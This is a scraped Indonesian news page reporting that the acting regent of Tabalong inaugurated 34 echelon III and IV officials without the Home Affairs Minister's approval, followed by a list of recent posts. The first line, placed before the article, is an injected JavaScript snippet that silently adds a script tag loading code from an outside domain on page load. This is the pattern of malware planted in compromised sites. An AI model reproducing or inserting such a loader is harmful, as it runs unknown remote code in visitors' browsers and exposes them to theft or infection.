(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Dalih Kemanusiaan, Plt Bupati Tabalong Lantik 34 Pejabat Tanpa Izin Mendagri


TANJUNG, Pelaksana Tugas (Plt) Bupati Tabalong H Zony Alfianoor melantik sebanyak 38 pejabat meski  tanpa ada izin dari Mendagri pada Kamis (31/5). Puluhan pejabat eselon III dan IV tersebut tetap dilantik dengan sejumlah alasan. Apa itu?

Zony berkukuh pelantikan itu sudah tepat sesuai hak dan kewenangan selaku kepala daerah. “Karena jika para pejabat itu tak segera dilantik, gaji mereja akan hangus. Sebab, per tanggal 1 Juni ada beberapa pejabat akan memasuki masa pensiun. Jadi ini menyangkut faktor manusiawi menyangkut nasib pegawai,” katanya kepada wartawan, Sabtu (2/6) malam.

Para pejabat yang dilantik terdiri dari 4 orang sebagai pengawas penyelenggaraan urusan pemerintah dan 34 orang dari eselon III dan IV. Hanya empat orang sudah mendapat persetujuan Mendagri karena memasuki pensiun per 1 Juni. Adapun 34 orang pejabat eselon III dan IV yang dilantik belum ada persetujuan Mendagri.

Dia mengatakan, tindakan sudah benar meski belum mendapat persetujuan Mendagri. “Jika langkah kebijakan saya selaku bupati menyalahi, mari kita sama-sama koreksi, nanti diperbaiki dimana letak kesalahannya,” katanya dilansir Kumparan.

Berdasarkan Peraturan Menteri Dalam Negeri Republik Indonesia Nomor 35 Tahun 2013, penjabat bupati secara umum memiliki tugas, wewenang dan kewajiban sebagaimana bupati definitif. Tetapi mempunyai keterbatasan dalam mengambil keputusan dan membutuhkan izin tertulis dari Kementerian Dalam Negeri jika akan mengambil keputusan strategis. Salah satunya melakukan mutasi pegawai sesuai pasal 132A ayat 1 dan 2 Peraturan Pemerintah Nomor 49 Tahun 2008.

Toh, Zony meminta para pejabat yang sudah dilantik tetap bekerja seperti biasa sesuai bidang masing-masing. “Sambil menunggu kepastian dari Menteri Dalam Negeri. Jika tak turun ke kantor, hal itu jelas melanggar pakta integritas yang sudah ditandatangani,” ujarnya. (cel/kum)

Reporter: Cel/kum
Editor: Chell

Desy Arfianty

Recent Posts

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

6 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

8 jam ago

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

8 jam ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

10 jam ago

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

1 hari ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

1 hari ago

This website uses cookies.